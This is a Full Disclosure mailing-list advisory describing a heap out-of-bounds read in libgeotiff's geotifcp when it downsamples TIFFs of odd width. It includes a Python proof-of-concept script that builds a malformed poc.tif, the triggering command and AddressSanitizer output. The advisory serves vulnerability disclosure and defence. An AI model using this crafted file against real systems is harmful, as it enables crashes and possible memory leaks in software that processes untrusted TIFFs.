[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAFmK-GzZQ4mE=HHO3eXFHQ8cjWsFQ367BT92=8-23tH9A3Ta2A@mail.gmail.com>
Date: Sun, 28 Sep 2025 12:04:27 -0400
From: Ron E <ronaldjedgerson@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] libgeotiff 1.7.4 Heap Buffer Overflow in geotifcp (libgeotiff)
During 8-to-4 Bit Downsample with Odd Image Width
A heap buffer overflow vulnerability exists in the geotifcp utility,
distributed as part of libgeotiff. The flaw occurs in the function
cpContig2ContigByRow_8_to_4 when processing TIFF images with an odd
ImageWidth and using the -d option (downsampling from 8-bit to 4-bit).
During conversion, the function iterates over pixels in pairs and always
accesses buf_in[i_in+1]. When the width is odd, the last iteration
dereferences one byte past the allocated buffer, resulting in a heap
out-of-bounds read. This can lead to a crash, potential information
disclosure, or further memory corruption depending on context.
*Impact:*
- Crash (denial of service)
- Possible information leak (read beyond buffer)
- Undefined behavior that could potentially be leveraged for further
exploitation in specific contexts
*Proof of Concept (PoC):*
A minimal TIFF file with ImageWidth = 101, ImageLength = 1, BitsPerSample =
8, SamplesPerPixel = 1, and RowsPerStrip = 1 triggers the overflow:
# Create poc.tif using provided Python script
import struct
# TIFF little-endian header
# 'II' (2 bytes), 42 (uint16), offset to IFD (uint32)
# we will place IFD right after header, so offset = 8
header = b'II' + struct.pack('<H', 42) + struct.pack('<I', 8)
# IFD entries we will create (9 entries)
# tags:
# 256 ImageWidth (SHORT=3) value=101
# 257 ImageLength (SHORT=3) value=1
# 258 BitsPerSample (SHORT=3) value=8
# 259 Compression (SHORT=3) value=1 (none)
# 262 PhotometricInterpretation (SHORT=3) value=1
# 273 StripOffsets (LONG=4) value=offset_to_image_data (we'll compute)
# 277 SamplesPerPixel (SHORT=3) value=1
# 278 RowsPerStrip (LONG=4) value=1
# 279 StripByteCounts (LONG=4) value=101
# helper to build a directory entry: tag(2), type(2), count(4),
value/offset(4)
def dir_entry(tag, typ, count, val_or_off):
return struct.pack('<HHII', tag, typ, count, val_or_off)
# We'll compute IFD size: 2 (count) + 9*12 (entries) + 4 (nextIFD) = 2 +
108 + 4 = 114 bytes
# So image data will start at offset = header(8) + 114 = 122
ifd_offset = 8
num_entries = 9
ifd_entries_size = num_entries * 12
next_ifd_ptr_offset = ifd_offset + 2 + ifd_entries_size # where nextIFD
ptr will live
image_data_offset = next_ifd_ptr_offset + 4 # image data follows nextIFD
ptr
# image_data_offset should be 122
entries = []
# ImageWidth tag 256 type SHORT(3) count=1 value=101 -> value fits into 4
bytes
entries.append(dir_entry(256, 3, 1, 101))
# ImageLength tag 257 type SHORT count=1 value=1
entries.append(dir_entry(257, 3, 1, 1))
# BitsPerSample tag 258 type SHORT count=1 value=8
entries.append(dir_entry(258, 3, 1, 8))
# Compression tag 259 type SHORT count=1 value=1 (no compression)
entries.append(dir_entry(259, 3, 1, 1))
# PhotometricInterpretation tag 262 type SHORT count=1 value=1
entries.append(dir_entry(262, 3, 1, 1))
# StripOffsets tag 273 type LONG count=1 value=image_data_offset
entries.append(dir_entry(273, 4, 1, image_data_offset))
# SamplesPerPixel tag 277 type SHORT count=1 value=1
entries.append(dir_entry(277, 3, 1, 1))
# RowsPerStrip tag 278 type LONG count=1 value=1
entries.append(dir_entry(278, 4, 1, 1))
# StripByteCounts tag 279 type LONG count=1 value=101 (image width *
samples * 1 row)
image_width = 101
entries.append(dir_entry(279, 4, 1, image_width))
# Build IFD binary: count, entries..., nextIFD (0)
ifd = struct.pack('<H', num_entries) + b''.join(entries) +
struct.pack('<I', 0)
# Now build image data: one scanline of 101 bytes (we'll fill with 0x41
'A', but any bytes work)
image_data = b'A' * image_width
# Put it all together
tiff = header + ifd + image_data
# Write file
with open('poc.tif', 'wb') as f:
f.write(tiff)
print("Wrote poc.tif (width={}, length=1, {} bytes)".format(image_width,
len(tiff)))
%python3 make_poc.py
# Trigger overflow
ASAN_OPTIONS=abort_on_error=1 \
UBSAN_OPTIONS=print_stacktrace=1 \
geotifcp -d poc.tif out.tif
*Output:*
==1880851==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x50b000005065 at pc 0xaaf267f250b0 bp 0xffffee9f65a0 sp 0xffffee9f6598
READ of size 1 at 0x50b000005065 thread T0
#0 0xaaf267f250ac in cpContig2ContigByRow_8_to_4
/root/libgeotiff/libgeotiff/bin/geotifcp.c:792:44
#1 0xaaf267f21c98 in tiffcp
/root/libgeotiff/libgeotiff/bin/geotifcp.c:726:15
#2 0xaaf267f21c98 in main
/root/libgeotiff/libgeotiff/bin/geotifcp.c:224:9
#3 0xff50d4b02290 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#4 0xff50d4b02374 in __libc_start_main csu/../csu/libc-start.c:360:3
#5 0xaaf267e3bd2c in _start (/usr/local/bin/geotifcp+0x7bd2c) (BuildId:
7b47067afc115c8ff3d6baae72841c9da29073fb)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Powered by blists - more mailing lists